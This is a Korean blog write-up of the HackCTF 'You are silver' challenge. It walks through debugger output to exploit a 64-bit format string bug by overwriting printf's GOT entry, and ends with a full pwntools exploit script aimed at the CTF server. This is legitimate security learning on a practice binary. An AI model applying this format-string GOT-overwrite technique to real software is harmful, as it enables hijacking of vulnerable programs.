시작
안녕하세요 :D
오랜만에 쓰는 롸업이에요. 당장 다음주에 정보보안산업기사 실기가 있어서 이론 공부만 내내 했어요 ㅠㅠ
이번에는 지난번에 못 풀었던 문제, you are silver
를 다뤄보려고 합니다.
시작해보죠!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/23.You_are_silver# ./you_are_silver
Please enter your name
aaaa
aaaa
You are silver.
세그멘테이션 오류 (core dumped)
이름을 입력받은 후, 그대로 출력 후 세그폴트가 떨어집니다.
0x0000000000400859 <+81>: lea rax,[rbp-0x30]
0x000000000040085d <+85>: mov rdi,rax
0x0000000000400860 <+88>: mov eax,0x0
0x0000000000400865 <+93>: call 0x4005b0 <printf@plt>
.
.
0x0000000000400874 <+108>: mov DWORD PTR [rbp-0x8],eax
0x0000000000400877 <+111>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040087a <+114>: cdqe
0x000000000040087c <+116>: mov rdi,rax
0x000000000040087f <+119>: mov eax,0x0
0x0000000000400884 <+124>: call 0x4005b0 <printf@plt>
main()의 일부분을 디스어셈블 해봤습니다. printf() 함수를 쓰는데 인자를 rdi만 주네요. 포맷스트링이 터질 것 같습니다.
root@goorm:/workspace/LCH_Server/HackCTF/23.You_are_silver# ./you_are_silver
Please enter your name
aaaabbbb %lx %lx %lx %lx %lx %lx %lx
aaaabbbb 7fe12f066025 7fe12ee409f0 20786c2520786c25 7fe12f066025 0 6262626261616161 786c2520786c2520
You are silver.
세그멘테이션 오류 (core dumped)
64bit 포맷스트링 문제네요. main()의 뒷부분에 printf()를 한 번더 호출하기 때문에 printf()의 got를 덮으면 되겠습니다.
.
.
0x0000000000400750 <+121>: lea rdi,[rip+0x238] # 0x40098f
0x0000000000400757 <+128>: mov eax,0x0
0x000000000040075c <+133>: call 0x4005a0 <system@plt>
0x0000000000400761 <+138>: lea rdi,[rip+0x232] # 0x40099a
0x0000000000400768 <+145>: call 0x400590 <puts@plt>
0x000000000040076d <+150>: mov edi,0x0
0x0000000000400772 <+155>: call 0x4005e0 <exit@plt>
End of assembler dump.
gdb-peda$ x/s 0x40098f
0x40098f: "cat ./flag"
여기로 덮어주면 되겠네요.
64bit fsb는 32bit와 조금 다릅니다.
우선 got값을 8 bytes로 전송해야 하기 때문에 0x0000000000601018처럼 NULL이 잔뜩 붙어서 printf()의 출력이 끊겨요.
또, 스택이 바로 leak되는 것이 아니라 레지스터의 값이 먼저 leak이 되고, 그 이후에 스택이 출력돼요.
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x7f333de979f0 --> 0x0
RSI: 0x7f333e0bd028 --> 0x0
RDI: 0x7fff357f2570 ("%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx\n")
RBP: 0x7fff357f25a0 --> 0x0
RSP: 0x7fff357f2570 ("%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx\n")
RIP: 0x400865 (<main+93>: call 0x4005b0 <printf@plt>)
R8 : 0x7f333e0bd028 --> 0x0
R9 : 0x20786c2520786c25 ('%lx %lx ')
R10: 0xa786c2520786c25 ('%lx %lx\n')
.
.
1: x/10xg $rbp-0x30
0x7fff357f2570: 0x20786c2520786c25 0x20786c2520786c25
0x7fff357f2580: 0x20786c2520786c25 0x20786c2520786c25
0x7fff357f2590: 0x0a786c2520786c25 0x0000003200000000
0x7fff357f25a0: 0x0000000000000000 0x00007f333daf4f45
0x7fff357f25b0: 0x00007fff357f2688 0x00007fff357f2688
이런 상황에서 printf()가 진행되면
7f333e0bd028 7f333de979f0 0 7f333e0bd028 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 a786c2520786c25
위와 같이 출력됩니다. rsi, rdx, rcx, r8, r9가 출력되고 이후에 rbp-0x30의 값들이 나오네요.
결론적으로 스택의 첫 번째 값을 가리키는 것은 %6$ln
이 되겠습니다.
input에 바로 got값을 주면 NULL값 때문에 출력이 이루어지지 않기 때문에 원하는 bytes 수를 넣어주고
8 bytes 단위로 맞춰준 후 스택의 위치를 %?$ln으로 맞춰주면 될 것 같습니다. 이제 ?를 구해볼까요?
0x400750 = 4196176 이므로 %4196176d를 넣어주고, %?$ln를 줘보겠습니다. ?는 헷갈리니깐 첫 번째를 가리키는 6으로 할게요.
payload = %4196176d%6$ln
1: x/10xg $rbp-0x30
0x7ffc9ae45150: 0x3637313639313425 0x000a6e6c24362564
8 bytes 단위를 맞춰주기 위해 뒤에 “AA”를 추가해 주겠습니다.
payload = %4196176d%6$lnAA
1: x/10xg $rbp-0x30
0x7ffeafbb1cb0: 0x3637313639313425 0x41416e6c24362564
0x7ffeafbb1cc0: 0x000000000040000a 0x00000000004005f0
이제 뒤에 printf_got 값을 넣어주고, 스택의 3번째를 가리키는 8을 ?에 넣어주면 got값이 덮이겠네요.
payload = %4196176d%8$lnAA + p64(printf_got)
이렇게 되면 4196176 = 0x400750 bytes를 출력하고, %8$ln을 참조해 스택의 3번째 값에 이걸 덮어쓰는데, 여기엔 printf_got의 주소가 있는 거에요.
코드입니다.
from pwn import *
#p = process("./you_are_silver")
p = remote("ctf.j0n9hyun.xyz", 3022)
context.log_level = "debug"
payload = ""
cat_flag = 0x400750 # 4196176
printf_got = 0x601028
p.recvuntil("name\n")
payload += "%4196176d" # 9 bytes
payload += "%8$ln" # 5 bytes
payload += "\x00" * 2 # 2 bytes -> total 16 bytes
payload += p64(printf_got)
p.sendline(payload)
p.interactive()
.
.
You are silver.
// flag!!!
Who are you? get out!
Exploit!!
마무리
NULL값에 의해 printf()의 출력이 끊기는 부분을 생각 못해서 헤맸던 문제였네요.
fsb는 봐도 봐도 헷갈리는 것 같아요ㅠㅠ 더 연습을 해야 될 것 같습니다.
감사합니다!! :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Unexploitable_3, 4 (0) | 2019.11.16 |
---|---|
[HackCTF] babyfsb (0) | 2019.11.13 |
[HackCTF] World Best Encryption Tool (0) | 2019.10.22 |
[HackCTF] Register (0) | 2019.10.15 |
[HackCTF] RTC (0) | 2019.10.12 |